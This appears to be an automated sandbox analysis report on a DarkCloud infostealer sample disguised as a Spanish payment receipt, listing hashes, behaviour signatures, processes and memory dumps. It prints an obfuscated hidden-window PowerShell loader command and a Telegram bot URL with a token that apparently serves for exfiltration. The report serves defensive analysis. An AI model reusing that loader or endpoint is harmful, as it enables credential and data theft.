Analysis
- max time kernel
141s - max time network
139s - platform
windows10-2004_x64 - resource
win10v2004-20250217-en - resource tags
- submitted
12/03/2025, 11:05
General
- Target comprobante de pago.exe
- Size 819KB
- Sample250312-m6w55syset
- SHA256 20dc4ffc31f978e2c822878b11a4d59c3ad6da9898a7028d75d3c9079598de18
Malware Config
Extracted
-
darkcloud
-
https://api.telegram.org/bot7733877678:AAEqT6ly9PGheBCvOkuDttTsF2fRwpgtX5s/sendMessage?chat_id=5039346757
Signatures
- DarkCloud
An information stealer written in Visual Basic.
- Darkcloud family
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Blocklisted process makes network request 5 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\comprobante de pago.exe"C:\Users\Admin\AppData\Local\Temp\comprobante de pago.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Telemeters=GC -raw 'C:\Users\Admin\AppData\Local\Temp\gypsoplast\witherdeed\Skyldsflelsers.Pos';$Gonophorous=$Telemeters.SubString(53202,3);.$Gonophorous($Telemeters)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_4n3va2fw.5lr.ps1
Besvrliggjort.Van133
Skyldsflelsers.Pos
memory/2924-111-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/2924-109-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/2924-113-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/2924-115-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/2924-112-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/2924-116-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/2924-110-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/2924-114-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/2924-108-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/2924-107-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/2924-103-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/2924-102-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/2924-89-0x0000000077251000-0x0000000077371000-memory.dmp
memory/2924-117-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/2924-88-0x00000000772D8000-0x00000000772D9000-memory.dmp
memory/2924-87-0x0000000077251000-0x0000000077371000-memory.dmp
memory/4008-69-0x00000000070D0000-0x00000000070D8000-memory.dmp
memory/4008-80-0x0000000073800000-0x0000000073FB0000-memory.dmp
memory/4008-49-0x000000006FC90000-0x000000006FCDC000-memory.dmp
memory/4008-61-0x0000000006F20000-0x0000000006FC3000-memory.dmp
memory/4008-62-0x0000000007020000-0x000000000702A000-memory.dmp
memory/4008-63-0x0000000073800000-0x0000000073FB0000-memory.dmp
memory/4008-64-0x0000000073800000-0x0000000073FB0000-memory.dmp
memory/4008-65-0x0000000007040000-0x0000000007051000-memory.dmp
memory/4008-66-0x0000000007090000-0x000000000709E000-memory.dmp
memory/4008-67-0x00000000070A0000-0x00000000070B4000-memory.dmp
memory/4008-68-0x00000000070E0000-0x00000000070FA000-memory.dmp
memory/4008-22-0x000000007380E000-0x000000007380F000-memory.dmp
memory/4008-70-0x0000000007850000-0x000000000787A000-memory.dmp
memory/4008-71-0x0000000007880000-0x00000000078A4000-memory.dmp
memory/4008-72-0x0000000073800000-0x0000000073FB0000-memory.dmp
memory/4008-75-0x0000000073800000-0x0000000073FB0000-memory.dmp
memory/4008-74-0x000000007380E000-0x000000007380F000-memory.dmp
memory/4008-76-0x0000000073800000-0x0000000073FB0000-memory.dmp
memory/4008-55-0x0000000073800000-0x0000000073FB0000-memory.dmp
memory/4008-78-0x0000000073800000-0x0000000073FB0000-memory.dmp
memory/4008-79-0x0000000073800000-0x0000000073FB0000-memory.dmp
memory/4008-60-0x0000000006EF0000-0x0000000006F0E000-memory.dmp
memory/4008-81-0x00000000083B0000-0x000000000C82C000-memory.dmp
memory/4008-82-0x0000000073800000-0x0000000073FB0000-memory.dmp
memory/4008-83-0x0000000073800000-0x0000000073FB0000-memory.dmp
memory/4008-84-0x0000000073800000-0x0000000073FB0000-memory.dmp
memory/4008-86-0x0000000073800000-0x0000000073FB0000-memory.dmp
memory/4008-48-0x0000000006EB0000-0x0000000006EE2000-memory.dmp
memory/4008-47-0x0000000007D30000-0x00000000083AA000-memory.dmp
memory/4008-45-0x0000000007100000-0x00000000076A4000-memory.dmp
memory/4008-43-0x0000000005FC0000-0x0000000005FDA000-memory.dmp
memory/4008-44-0x0000000006010000-0x0000000006032000-memory.dmp
memory/4008-42-0x0000000006A60000-0x0000000006AF6000-memory.dmp
memory/4008-41-0x0000000005B40000-0x0000000005B8C000-memory.dmp
memory/4008-40-0x0000000005A90000-0x0000000005AAE000-memory.dmp
memory/4008-39-0x0000000005490000-0x00000000057E4000-memory.dmp
memory/4008-28-0x00000000053A0000-0x0000000005406000-memory.dmp
memory/4008-29-0x0000000005410000-0x0000000005476000-memory.dmp
memory/4008-27-0x0000000004C00000-0x0000000004C22000-memory.dmp
memory/4008-26-0x0000000073800000-0x0000000073FB0000-memory.dmp
memory/4008-25-0x0000000073800000-0x0000000073FB0000-memory.dmp
memory/4008-24-0x0000000004C80000-0x00000000052A8000-memory.dmp
memory/4008-23-0x00000000024B0000-0x00000000024E6000-memory.dmp